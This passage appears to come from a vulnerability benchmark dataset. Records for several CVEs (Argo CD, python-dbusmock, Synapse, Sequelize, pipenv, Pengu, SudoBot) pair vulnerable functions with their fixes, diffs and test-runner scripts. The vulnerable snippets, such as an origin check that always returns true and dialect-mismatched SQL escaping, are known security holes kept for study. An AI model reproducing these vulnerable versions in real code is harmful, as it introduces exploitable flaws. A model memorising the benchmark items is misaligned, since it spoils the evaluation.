nil\n\t}\n\n\taccount, err := mgr.settingsMgr.GetAccount(subject)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif id := jwtutil.StringField(claims, \"jti\"); id != \"\" && account.TokenIndex(id) == -1 {\n\t\treturn nil, fmt.Errorf(\"account %s does not have token with id %s\", subject, id)\n\t}\n\n\tif account.PasswordMtime != nil && issuedAt.Before(*account.PasswordMtime) {\n\t\treturn nil, fmt.Errorf(\"Account password has changed since token issued\")\n\t}\n\treturn token.Claims, nil\n}"}], "fix_func": [{"id": "fix_go_66_1", "commit": "f5b0db2", "file_path": "util/session/sessionmanager.go", "start_line": 239, "end_line": 298, "snippet": "func (mgr *SessionManager) Parse(tokenString string) (jwt.Claims, error) {\n\t// Parse takes the token string and a function for looking up the key. The latter is especially\n\t// useful if you use multiple keys for your application.  The standard is to use 'kid' in the\n\t// head of the token to identify which key to use, but the parsed token (head and claims) is provided\n\t// to the callback, providing flexibility.\n\tvar claims jwt.MapClaims\n\tsettings, err := mgr.settingsMgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttoken, err := jwt.ParseWithClaims(tokenString, &claims, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t}\n\t\treturn settings.ServerSignature, nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tissuedAt, err := jwtutil.IssuedAtTime(claims)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsubject := jwtutil.StringField(claims, \"sub\")\n\tid := jwtutil.StringField(claims, \"jti\")\n\n\tif projName, role, ok := rbacpolicy.GetProjectRoleFromSubject(subject); ok {\n\t\tproj, err := mgr.projectsLister.Get(projName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, _, err = proj.GetJWTToken(role, issuedAt.Unix(), id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn token.Claims, nil\n\t}\n\n\taccount, err := mgr.settingsMgr.GetAccount(subject)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !account.Enabled {\n\t\treturn nil, fmt.Errorf(\"account %s is disabled\", subject)\n\t}\n\n\tif id := jwtutil.StringField(claims, \"jti\"); id != \"\" && account.TokenIndex(id) == -1 {\n\t\treturn nil, fmt.Errorf(\"account %s does not have token with id %s\", subject, id)\n\t}\n\n\tif account.PasswordMtime != nil && issuedAt.Before(*account.PasswordMtime) {\n\t\treturn nil, fmt.Errorf(\"Account password has changed since token issued\")\n\t}\n\treturn token.Claims, nil\n}"}], "vul_patch": "--- a/util/session/sessionmanager.go\n+++ b/util/session/sessionmanager.go\n@@ -45,6 +45,10 @@\n \t\treturn nil, err\n \t}\n \n+\tif !account.Enabled {\n+\t\treturn nil, fmt.Errorf(\"account %s is disabled\", subject)\n+\t}\n+\n \tif id := jwtutil.StringField(claims, \"jti\"); id != \"\" && account.TokenIndex(id) == -1 {\n \t\treturn nil, fmt.Errorf(\"account %s does not have token with id %s\", subject, id)\n \t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-26921:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./util/session && go test -timeout 30s -run ^TestSessionManager_AdminToken_Deactivated$ github.com/argoproj/argo-cd/util/session\n", "unit_test_cmd": null}
{"cve_id": "CVE-2015-1326", "cve_description": "python-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/martinpitt/python-dbusmock", "patch_url": ["https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093"], "programing_language": "Python", "vul_func": [{"id": "vul_py_68_1", "commit": "a4bd39f", "file_path": "dbusmock/mockobject.py", "start_line": 41, "end_line": 50, "snippet": "def load_module(name):\n    if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n        sys.path.insert(0, os.path.dirname(os.path.abspath(name)))\n        try:\n            m = os.path.splitext(os.path.basename(name))[0]\n            module = importlib.import_module(m)\n        finally:\n            sys.path.pop(0)\n\n        return module"}], "fix_func": [{"id": "fix_py_65_1", "commit": "4e7d0df9093", "file_path": "dbusmock/mockobject.py", "start_line": 42, "end_line": 49, "snippet": "def load_module(name):\n    if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n        mod = imp.new_module(os.path.splitext(os.path.basename(name))[0])\n        with open(name) as f:\n            exec(f.read(), mod.__dict__, mod.__dict__)\n        return mod\n\n    return importlib.import_module('dbusmock.templates.' + name)"}], "vul_patch": "--- a/dbusmock/mockobject.py\n+++ /dev/null\n@@ -1,10 +0,0 @@\n-def load_module(name):\n-    if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n-        sys.path.insert(0, os.path.dirname(os.path.abspath(name)))\n-        try:\n-            m = os.path.splitext(os.path.basename(name))[0]\n-            module = importlib.import_module(m)\n-        finally:\n-            sys.path.pop(0)\n-\n-        return module\n\n--- /dev/null\n+++ b/dbusmock/mockobject.py\n@@ -0,0 +1,8 @@\n+def load_module(name):\n+    if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n+        mod = imp.new_module(os.path.splitext(os.path.basename(name))[0])\n+        with open(name) as f:\n+            exec(f.read(), mod.__dict__, mod.__dict__)\n+        return mod\n+\n+    return importlib.import_module('dbusmock.templates.' + name)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-1326:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/python-dbusmock\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2015-1326/bin/python -m pytest tests/test_api.py::TestTemplates::test_local --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-1326:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/python-dbusmock\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2015-1326/bin/python -m pytest tests/test_api.py --disable-warnings\n"}
{"cve_id": "CVE-2018-10657", "cve_description": "Matrix Synapse before 0.28.1 is prone to a denial of service flaw where malicious events injected with depth = 2^63 - 1 render rooms unusable, related to federation/federation_base.py and handlers/message.py, as exploited in the wild in April 2018.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/matrix-org/synapse", "patch_url": ["https://github.com/matrix-org/synapse/commit/33f469ba19586bbafa0cf2c7d7c35463bdab87eb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_254_1", "commit": "28dd536", "file_path": "synapse/federation/federation_base.py", "start_line": 182, "end_line": 204, "snippet": "def event_from_pdu_json(pdu_json, outlier=False):\n    \"\"\"Construct a FrozenEvent from an event json received over federation\n\n    Args:\n        pdu_json (object): pdu as received over federation\n        outlier (bool): True to mark this event as an outlier\n\n    Returns:\n        FrozenEvent\n\n    Raises:\n        SynapseError: if the pdu is missing required fields\n    \"\"\"\n    # we could probably enforce a bunch of other fields here (room_id, sender,\n    # origin, etc etc)\n    assert_params_in_request(pdu_json, ('event_id', 'type'))\n    event = FrozenEvent(\n        pdu_json\n    )\n\n    event.internal_metadata.outlier = outlier\n\n    return event"}, {"id": "vul_py_254_2", "commit": "28dd536", "file_path": "synapse/handlers/message.py", "start_line": 596, "end_line": 663, "snippet": "    def create_new_client_event(self, builder, requester=None,\n                                prev_events_and_hashes=None):\n        \"\"\"Create a new event for a local client\n\n        Args:\n            builder (EventBuilder):\n\n            requester (synapse.types.Requester|None):\n\n            prev_events_and_hashes (list[(str, dict[str, str], int)]|None):\n                the forward extremities to use as the prev_events for the\n                new event. For each event, a tuple of (event_id, hashes, depth)\n                where *hashes* is a map from algorithm to hash.\n\n                If None, they will be requested from the database.\n\n        Returns:\n            Deferred[(synapse.events.EventBase, synapse.events.snapshot.EventContext)]\n        \"\"\"\n\n        if prev_events_and_hashes is not None:\n            assert len(prev_events_and_hashes) <= 10, \\\n                \"Attempting to create an event with %i prev_events\" % (\n                    len(prev_events_and_hashes),\n            )\n        else:\n            prev_events_and_hashes = \\\n                yield self.store.get_prev_events_for_room(builder.room_id)\n\n        if prev_events_and_hashes:\n            depth = max([d for _, _, d in prev_events_and_hashes]) + 1\n        else:\n            depth = 1\n\n        prev_events = [\n            (event_id, prev_hashes)\n            for event_id, prev_hashes, _ in prev_events_and_hashes\n        ]\n\n        builder.prev_events = prev_events\n        builder.depth = depth\n\n        context = yield self.state.compute_event_context(builder)\n        if requester:\n            context.app_service = requester.app_service\n\n        if builder.is_state():\n            builder.prev_state = yield self.store.add_event_hashes(\n                context.prev_state_events\n            )\n\n        yield self.auth.add_auth_events(builder, context)\n\n        signing_key = self.hs.config.signing_key[0]\n        add_hashes_and_signatures(\n            builder, self.server_name, signing_key\n        )\n\n        event = builder.build()\n\n        logger.debug(\n            \"Created event %s with state: %s\",\n            event.event_id, context.prev_state_ids,\n        )\n\n        defer.returnValue(\n            (event, context,)\n        )"}], "fix_func": [{"id": "fix_py_254_1", "commit": "33f469b", "file_path": "synapse/federation/federation_base.py", "start_line": 185, "end_line": 219, "snippet": "def event_from_pdu_json(pdu_json, outlier=False):\n    \"\"\"Construct a FrozenEvent from an event json received over federation\n\n    Args:\n        pdu_json (object): pdu as received over federation\n        outlier (bool): True to mark this event as an outlier\n\n    Returns:\n        FrozenEvent\n\n    Raises:\n        SynapseError: if the pdu is missing required fields or is otherwise\n            not a valid matrix event\n    \"\"\"\n    # we could probably enforce a bunch of other fields here (room_id, sender,\n    # origin, etc etc)\n    assert_params_in_request(pdu_json, ('event_id', 'type', 'depth'))\n\n    depth = pdu_json['depth']\n    if not isinstance(depth, six.integer_types):\n        raise SynapseError(400, \"Depth %r not an intger\" % (depth, ),\n                           Codes.BAD_JSON)\n\n    if depth < 0:\n        raise SynapseError(400, \"Depth too small\", Codes.BAD_JSON)\n    elif depth > MAX_DEPTH:\n        raise SynapseError(400, \"Depth too large\", Codes.BAD_JSON)\n\n    event = FrozenEvent(\n        pdu_json\n    )\n\n    event.internal_metadata.outlier = outlier\n\n    return event"}, {"id": "fix_py_254_2", "commit": "33f469b", "file_path": "synapse/handlers/message.py", "start_line": 596, "end_line": 667, "snippet": "    def create_new_client_event(self, builder, requester=None,\n                                prev_events_and_hashes=None):\n        \"\"\"Create a new event for a local client\n\n        Args:\n            builder (EventBuilder):\n\n            requester (synapse.types.Requester|None):\n\n            prev_events_and_hashes (list[(str, dict[str, str], int)]|None):\n                the forward extremities to use as the prev_events for the\n                new event. For each event, a tuple of (event_id, hashes, depth)\n                where *hashes* is a map from algorithm to hash.\n\n                If None, they will be requested from the database.\n\n        Returns:\n            Deferred[(synapse.events.EventBase, synapse.events.snapshot.EventContext)]\n        \"\"\"\n\n        if prev_events_and_hashes is not None:\n            assert len(prev_events_and_hashes) <= 10, \\\n                \"Attempting to create an event with %i prev_events\" % (\n                    len(prev_events_and_hashes),\n            )\n        else:\n            prev_events_and_hashes = \\\n                yield self.store.get_prev_events_for_room(builder.room_id)\n\n        if prev_events_and_hashes:\n            depth = max([d for _, _, d in prev_events_and_hashes]) + 1\n            # we cap depth of generated events, to ensure that they are not\n            # rejected by other servers (and so that they can be persisted in\n            # the db)\n            depth = min(depth, MAX_DEPTH)\n        else:\n            depth = 1\n\n        prev_events = [\n            (event_id, prev_hashes)\n            for event_id, prev_hashes, _ in prev_events_and_hashes\n        ]\n\n        builder.prev_events = prev_events\n        builder.depth = depth\n\n        context = yield self.state.compute_event_context(builder)\n        if requester:\n            context.app_service = requester.app_service\n\n        if builder.is_state():\n            builder.prev_state = yield self.store.add_event_hashes(\n                context.prev_state_events\n            )\n\n        yield self.auth.add_auth_events(builder, context)\n\n        signing_key = self.hs.config.signing_key[0]\n        add_hashes_and_signatures(\n            builder, self.server_name, signing_key\n        )\n\n        event = builder.build()\n\n        logger.debug(\n            \"Created event %s with state: %s\",\n            event.event_id, context.prev_state_ids,\n        )\n\n        defer.returnValue(\n            (event, context,)\n        )"}], "vul_patch": "--- a/synapse/federation/federation_base.py\n+++ b/synapse/federation/federation_base.py\n@@ -9,11 +9,23 @@\n         FrozenEvent\n \n     Raises:\n-        SynapseError: if the pdu is missing required fields\n+        SynapseError: if the pdu is missing required fields or is otherwise\n+            not a valid matrix event\n     \"\"\"\n     # we could probably enforce a bunch of other fields here (room_id, sender,\n     # origin, etc etc)\n-    assert_params_in_request(pdu_json, ('event_id', 'type'))\n+    assert_params_in_request(pdu_json, ('event_id', 'type', 'depth'))\n+\n+    depth = pdu_json['depth']\n+    if not isinstance(depth, six.integer_types):\n+        raise SynapseError(400, \"Depth %r not an intger\" % (depth, ),\n+                           Codes.BAD_JSON)\n+\n+    if depth < 0:\n+        raise SynapseError(400, \"Depth too small\", Codes.BAD_JSON)\n+    elif depth > MAX_DEPTH:\n+        raise SynapseError(400, \"Depth too large\", Codes.BAD_JSON)\n+\n     event = FrozenEvent(\n         pdu_json\n     )\n\n--- a/synapse/handlers/message.py\n+++ b/synapse/handlers/message.py\n@@ -29,6 +29,10 @@\n \n         if prev_events_and_hashes:\n             depth = max([d for _, _, d in prev_events_and_hashes]) + 1\n+            # we cap depth of generated events, to ensure that they are not\n+            # rejected by other servers (and so that they can be persisted in\n+            # the db)\n+            depth = min(depth, MAX_DEPTH)\n         else:\n             depth = 1\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-10554", "cve_description": "sequelize is an Object-relational mapping, or a middleman to convert things from Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server into usable data for NodeJS. Before version 1.7.0-alpha3, sequelize defaulted SQLite to use MySQL backslash escaping, even though SQLite uses Postgres escaping.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/sequelize/sequelize", "patch_url": ["https://github.com/sequelize/sequelize/commit/c876192aa6ce1f67e22b26a4d175b8478615f42d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_178_1", "commit": "7dc35e3", "file_path": "lib/sql-string.js", "start_line": 10, "end_line": 57, "snippet": "SqlString.escape = function(val, stringifyObjects, timeZone, dialect) {\n  if (val === undefined || val === null) {\n    return 'NULL';\n  }\n\n  switch (typeof val) {\n    case 'boolean': return (val) ? 'true' : 'false';\n    case 'number': return val+'';\n  }\n\n  if (val instanceof Date) {\n    val = SqlString.dateToString(val, timeZone || \"Z\");\n  }\n\n  if (Buffer.isBuffer(val)) {\n    return SqlString.bufferToString(val);\n  }\n\n  if (Array.isArray(val)) {\n    return SqlString.arrayToList(val, timeZone);\n  }\n\n  if (typeof val === 'object') {\n    if (stringifyObjects) {\n      val = val.toString();\n    } else {\n      return SqlString.objectToValues(val, timeZone);\n    }\n  }\n\n  if (dialect == \"postgres\") {\n    // http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS\n    val = val.replace(/'/g, \"''\");\n  } else {\n    val = val.replace(/[\\0\\n\\r\\b\\t\\\\\\'\\\"\\x1a]/g, function(s) {\n      switch(s) {\n        case \"\\0\": return \"\\\\0\";\n        case \"\\n\": return \"\\\\n\";\n        case \"\\r\": return \"\\\\r\";\n        case \"\\b\": return \"\\\\b\";\n        case \"\\t\": return \"\\\\t\";\n        case \"\\x1a\": return \"\\\\Z\";\n        default: return \"\\\\\"+s;\n      }\n    });\n  }\n  return \"'\"+val+\"'\";\n};"}], "fix_func": [{"id": "fix_js_178_1", "commit": "c876192", "file_path": "lib/sql-string.js", "start_line": 10, "end_line": 58, "snippet": "SqlString.escape = function(val, stringifyObjects, timeZone, dialect) {\n  if (val === undefined || val === null) {\n    return 'NULL';\n  }\n\n  switch (typeof val) {\n    case 'boolean': return (val) ? 'true' : 'false';\n    case 'number': return val+'';\n  }\n\n  if (val instanceof Date) {\n    val = SqlString.dateToString(val, timeZone || \"Z\");\n  }\n\n  if (Buffer.isBuffer(val)) {\n    return SqlString.bufferToString(val);\n  }\n\n  if (Array.isArray(val)) {\n    return SqlString.arrayToList(val, timeZone);\n  }\n\n  if (typeof val === 'object') {\n    if (stringifyObjects) {\n      val = val.toString();\n    } else {\n      return SqlString.objectToValues(val, timeZone);\n    }\n  }\n\n  if (dialect === \"postgres\" || dialect === \"sqlite\") {\n    // http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS\n    // http://stackoverflow.com/q/603572/130598\n    val = val.replace(/'/g, \"''\");\n  } else {\n    val = val.replace(/[\\0\\n\\r\\b\\t\\\\\\'\\\"\\x1a]/g, function(s) {\n      switch(s) {\n        case \"\\0\": return \"\\\\0\";\n        case \"\\n\": return \"\\\\n\";\n        case \"\\r\": return \"\\\\r\";\n        case \"\\b\": return \"\\\\b\";\n        case \"\\t\": return \"\\\\t\";\n        case \"\\x1a\": return \"\\\\Z\";\n        default: return \"\\\\\"+s;\n      }\n    });\n  }\n  return \"'\"+val+\"'\";\n};"}], "vul_patch": "--- a/lib/sql-string.js\n+++ b/lib/sql-string.js\n@@ -28,8 +28,9 @@\n     }\n   }\n \n-  if (dialect == \"postgres\") {\n+  if (dialect === \"postgres\" || dialect === \"sqlite\") {\n     // http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS\n+    // http://stackoverflow.com/q/603572/130598\n     val = val.replace(/'/g, \"''\");\n   } else {\n     val = val.replace(/[\\0\\n\\r\\b\\t\\\\\\'\\\"\\x1a]/g, function(s) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21668", "cve_description": "pipenv is a Python development workflow tool. Starting with version 2018.10.9 and prior to version 2022.1.8, a flaw in pipenv's parsing of requirements files allows an attacker to insert a specially crafted string inside a comment anywhere within a requirements.txt file, which will cause victims who use pipenv to install the requirements file to download dependencies from a package index server controlled by the attacker. By embedding malicious code in packages served from their malicious index server, the attacker can trigger arbitrary remote code execution (RCE) on the victims' systems. If an attacker is able to hide a malicious `--index-url` option in a requirements file that a victim installs with pipenv, the attacker can embed arbitrary malicious code in packages served from their malicious index server that will be executed on the victim's host during installation (remote code execution/RCE). When pip installs from a source distribution, any code in the setup.py is executed by the install process. This issue is patched in version 2022.1.8. The GitHub Security Advisory contains more information about this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pypa/pipenv", "patch_url": ["https://github.com/pypa/pipenv/commit/439782a8ae36c4762c88e43d5f0d8e563371b46f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_411_1", "commit": "9cb42e1acb0c36d706cccfaa01e296fcebc8a8b0", "file_path": "pipenv/core.py", "start_line": 147, "end_line": 190, "snippet": "def import_requirements(project, r=None, dev=False):\n    from pipenv.patched.notpip._vendor import requests as pip_requests\n    from pipenv.patched.notpip._internal.req.constructors import install_req_from_parsed_requirement\n    from pipenv.vendor.pip_shims.shims import parse_requirements\n\n    # Parse requirements.txt file with Pip's parser.\n    # Pip requires a `PipSession` which is a subclass of requests.Session.\n    # Since we're not making any network calls, it's initialized to nothing.\n    if r:\n        assert os.path.isfile(r)\n    # Default path, if none is provided.\n    if r is None:\n        r = project.requirements_location\n    with open(r) as f:\n        contents = f.read()\n    indexes = []\n    trusted_hosts = []\n    # Find and add extra indexes.\n    for line in contents.split(\"\\n\"):\n        index, extra_index, trusted_host, _ = parse_indexes(line.strip(), strict=True)\n        if index:\n            indexes = [index]\n        if extra_index:\n            indexes.append(extra_index)\n        if trusted_host:\n            trusted_hosts.append(trusted_host)\n    indexes = sorted(set(indexes))\n    trusted_hosts = sorted(set(trusted_hosts))\n    reqs = [install_req_from_parsed_requirement(f) for f in parse_requirements(r, session=pip_requests)]\n    for package in reqs:\n        if package.name not in BAD_PACKAGES:\n            if package.link is not None:\n                package_string = (\n                    f\"-e {package.link}\"\n                    if package.editable\n                    else str(package.link)\n                )\n                project.add_package_to_pipfile(package_string, dev=dev)\n            else:\n                project.add_package_to_pipfile(str(package.req), dev=dev)\n    for index in indexes:\n        trusted = index in trusted_hosts\n        project.add_index_to_pipfile(index, verify_ssl=trusted)\n    project.recase_pipfile()"}], "fix_func": [{"id": "fix_py_411_1", "commit": "439782a8ae36c4762c88e43d5f0d8e563371b46f", "file_path": "pipenv/core.py", "start_line": 147, "end_line": 195, "snippet": "def import_requirements(project, r=None, dev=False):\n    from pipenv.patched.notpip._vendor import requests as pip_requests\n    from pipenv.patched.notpip._internal.req.constructors import install_req_from_parsed_requirement\n    from pipenv.vendor.pip_shims.shims import parse_requirements\n\n    # Parse requirements.txt file with Pip's parser.\n    # Pip requires a `PipSession` which is a subclass of requests.Session.\n    # Since we're not making any network calls, it's initialized to nothing.\n    if r:\n        assert os.path.isfile(r)\n    # Default path, if none is provided.\n    if r is None:\n        r = project.requirements_location\n    with open(r) as f:\n        contents = f.read()\n    indexes = []\n    trusted_hosts = []\n    # Find and add extra indexes.\n    for line in contents.split(\"\\n\"):\n        index, extra_index, trusted_host, _ = parse_indexes(line.strip(), strict=True)\n        if index:\n            indexes = [index]\n        if extra_index:\n            indexes.append(extra_index)\n        if trusted_host:\n            trusted_hosts.append(get_host_and_port(trusted_host))\n    indexes = sorted(set(indexes))\n    trusted_hosts = sorted(set(trusted_hosts))\n    reqs = [install_req_from_parsed_requirement(f) for f in parse_requirements(r, session=pip_requests)]\n    for package in reqs:\n        if package.name not in BAD_PACKAGES:\n            if package.link is not None:\n                package_string = (\n                    f\"-e {package.link}\"\n                    if package.editable\n                    else str(package.link)\n                )\n                project.add_package_to_pipfile(package_string, dev=dev)\n            else:\n                project.add_package_to_pipfile(str(package.req), dev=dev)\n    for index in indexes:\n        # don't require HTTPS for trusted hosts (see: https://pip.pypa.io/en/stable/cli/pip/#cmdoption-trusted-host)\n        host_and_port = get_host_and_port(index)\n        require_valid_https = not any((v in trusted_hosts for v in (\n            host_and_port,\n            host_and_port.partition(':')[0],  # also check if hostname without port is in trusted_hosts\n        )))\n        project.add_index_to_pipfile(index, verify_ssl=require_valid_https)\n    project.recase_pipfile()"}, {"id": "fix_py_411_2", "commit": "439782a8ae36c4762c88e43d5f0d8e563371b46f", "file_path": "pipenv/utils.py", "start_line": 1646, "end_line": 1667, "snippet": "def get_host_and_port(url):\n    \"\"\"Get the host, or the host:port pair if port is explicitly included, for the given URL.\n\n    Examples:\n    >>> get_host_and_port('example.com')\n    'example.com'\n    >>> get_host_and_port('example.com:443')\n    'example.com:443'\n    >>> get_host_and_port('http://example.com')\n    'example.com'\n    >>> get_host_and_port('https://example.com/')\n    'example.com'\n    >>> get_host_and_port('https://example.com:8081')\n    'example.com:8081'\n    >>> get_host_and_port('ssh://example.com')\n    'example.com'\n\n    :param url: the URL string to parse\n    :return: a string with the host:port pair if the URL includes port number explicitly; otherwise, returns host only\n    \"\"\"\n    url = urllib3_util.parse_url(url)\n    return '{}:{}'.format(url.host, url.port) if url.port else url.host"}], "vul_patch": "--- a/pipenv/core.py\n+++ b/pipenv/core.py\n@@ -23,7 +23,7 @@\n         if extra_index:\n             indexes.append(extra_index)\n         if trusted_host:\n-            trusted_hosts.append(trusted_host)\n+            trusted_hosts.append(get_host_and_port(trusted_host))\n     indexes = sorted(set(indexes))\n     trusted_hosts = sorted(set(trusted_hosts))\n     reqs = [install_req_from_parsed_requirement(f) for f in parse_requirements(r, session=pip_requests)]\n@@ -39,6 +39,11 @@\n             else:\n                 project.add_package_to_pipfile(str(package.req), dev=dev)\n     for index in indexes:\n-        trusted = index in trusted_hosts\n-        project.add_index_to_pipfile(index, verify_ssl=trusted)\n+        # don't require HTTPS for trusted hosts (see: https://pip.pypa.io/en/stable/cli/pip/#cmdoption-trusted-host)\n+        host_and_port = get_host_and_port(index)\n+        require_valid_https = not any((v in trusted_hosts for v in (\n+            host_and_port,\n+            host_and_port.partition(':')[0],  # also check if hostname without port is in trusted_hosts\n+        )))\n+        project.add_index_to_pipfile(index, verify_ssl=require_valid_https)\n     project.recase_pipfile()\n\n--- /dev/null\n+++ b/pipenv/core.py\n@@ -0,0 +1,22 @@\n+def get_host_and_port(url):\n+    \"\"\"Get the host, or the host:port pair if port is explicitly included, for the given URL.\n+\n+    Examples:\n+    >>> get_host_and_port('example.com')\n+    'example.com'\n+    >>> get_host_and_port('example.com:443')\n+    'example.com:443'\n+    >>> get_host_and_port('http://example.com')\n+    'example.com'\n+    >>> get_host_and_port('https://example.com/')\n+    'example.com'\n+    >>> get_host_and_port('https://example.com:8081')\n+    'example.com:8081'\n+    >>> get_host_and_port('ssh://example.com')\n+    'example.com'\n+\n+    :param url: the URL string to parse\n+    :return: a string with the host:port pair if the URL includes port number explicitly; otherwise, returns host only\n+    \"\"\"\n+    url = urllib3_util.parse_url(url)\n+    return '{}:{}'.format(url.host, url.port) if url.port else url.host\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36623", "cve_description": "A vulnerability was found in Pengu. It has been declared as problematic. Affected by this vulnerability is the function runApp of the file src/index.js. The manipulation leads to cross-site request forgery. The attack can be launched remotely. The name of the patch is aea66f12b8cdfc3c8c50ad6a9c89d8307e9d0a91. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216475.", "cwe_info": {"CWE-352": {"name": "Cross-Site Request Forgery (CSRF)", "description": "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. "}}, "repo": "https://github.com/jtojnar/pengu", "patch_url": ["https://github.com/jtojnar/pengu/commit/aea66f12b8cdfc3c8c50ad6a9c89d8307e9d0a91"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_301_1", "commit": "6ccc64f6f9135f938cf7123d2f7aaea78b39a622", "file_path": "src/index.js", "start_line": 71, "end_line": 73, "snippet": "\tfunction originIsAllowed() {\n\t\treturn true;\n\t}"}], "fix_func": [{"id": "fix_js_301_1", "commit": "aea66f12b8cdfc3c8c50ad6a9c89d8307e9d0a91", "file_path": "src/index.js", "start_line": 73, "end_line": 76, "snippet": "\tfunction originIsAllowed(origin) {\n\t\tconst url = new URL(origin);\n\t\treturn acceptedOrigins.includes(url.hostname);\n\t}"}, {"id": "fix_js_301_2", "commit": "aea66f12b8cdfc3c8c50ad6a9c89d8307e9d0a91", "file_path": "src/index.js", "start_line": 31, "end_line": 31, "snippet": "const acceptedOrigins = process.env.ACCEPTED_ORIGINS ? process.env.ACCEPTED_ORIGINS.split(',') : ['localhost', '127.0.0.1'];"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -1,3 +1,4 @@\n-\tfunction originIsAllowed() {\n-\t\treturn true;\n+\tfunction originIsAllowed(origin) {\n+\t\tconst url = new URL(origin);\n+\t\treturn acceptedOrigins.includes(url.hostname);\n \t}\n\n--- /dev/null\n+++ b/src/index.js\n@@ -0,0 +1 @@\n+const acceptedOrigins = process.env.ACCEPTED_ORIGINS ? process.env.ACCEPTED_ORIGINS.split(',') : ['localhost', '127.0.0.1'];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45307", "cve_description": "SudoBot, a Discord moderation bot, is vulnerable to privilege escalation and exploit of the `-config` command in versions prior to 9.26.7. Anyone is theoretically able to update any configuration of the bot and potentially gain control over the bot's settings. Every version of v9 before v9.26.7 is affected. Other versions (e.g. v8) are not affected. Users should upgrade to version 9.26.7 to receive a patch. A workaround would be to create a command permission overwrite in the Database. A SQL statement provided in the GitHub Security Advisor can be executed to create a overwrite that disallows users without `ManageGuild` permission to run the `-config` command. Run the SQL statement for every server the bot is in, and replace `<guild_id>` with the appropriate Guild ID each time.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/onesoft-sudo/sudobot", "patch_url": ["https://github.com/onesoft-sudo/sudobot/commit/ef46ca98562f3c1abef4ff7dd94d8f7b8155ee50"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_294_1", "commit": "10002f53fcd00a9273071ba37b52843017f6871f", "file_path": "src/main/typescript/commands/settings/ConfigCommand.ts", "start_line": 25, "end_line": 555, "snippet": "class ConfigCommand extends Command {\n    public override readonly name = \"config\";\n    public override readonly description: string 